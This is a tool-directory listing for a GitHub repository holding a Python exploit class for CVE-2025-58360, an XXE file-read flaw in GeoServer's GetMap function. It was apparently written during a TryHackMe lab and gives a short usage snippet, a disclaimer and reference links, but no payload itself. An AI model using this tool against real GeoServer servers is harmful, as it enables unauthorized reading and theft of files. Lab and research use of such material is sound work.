Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-58360 — Python exploit class for CVE-2025-58360, an XXE vulnerability in GeoServer's GetMap function enabling arbitrary file read. Includes automated exploitation and data exfiltration. | Kitploit
Tools/GitHubGitHub/thomas-osgood/cve-2025-58360
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringLearning & EducationLabs & Practice
GitHubthomas-osgood/cve-2025-58360

cve-2025-58360

Python exploit class for CVE-2025-58360, an XXE vulnerability in GeoServer's GetMap function enabling arbitrary file read. Includes automated exploitation and data exfiltration.

View Repository
127 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GeoServer: CVE-2025-58360

Disclaimer

The code and information contained within this repository is for educational and research purposes only. The owner of the repository takes no responsibility for anything you do with the code and/or information within this repository. Your actions are your own. Please use this legally and responsibly.

Python3 Class

The Python3 class in the exploit/exploiter.py file (GeoDumper) automates the exploitation of the XXE vulnerability and saves the leaked information to a local file.

example:

root@kitploit:~
import exploit.exploiter as exploiter

target_ip = "localhost"
secure = False

geoserver_path = "geoserver"

dumper = exploiter.GeoDumper(target_ip=target_ip, geoserver_path=geoserver_path, is_secure=secure)
(data, filename) = dumper.dump_file(target_file)
print(f"[+] data saved to \"{filename}\"")
print(f"[+] Data:\n{data.decode("utf-8")}")

Vulnerability References

The vulnerability in question exploits an improperly santized XML input to the GetMap function, leading to arbitrary file read by an attacker.

More information and better explinations/breakdowns of the vulnerability can be found in the links below.

  • Official Geoserver GitHub Security Item
  • CVE Record
  • CISA Release
  • TryHackMe Room, GeoServer: CVE-2025-58360

note: I did not discover the vulnerability or do any research related to it. This code and repository was created while I did the associated romm on TryHackMe.

Download Tool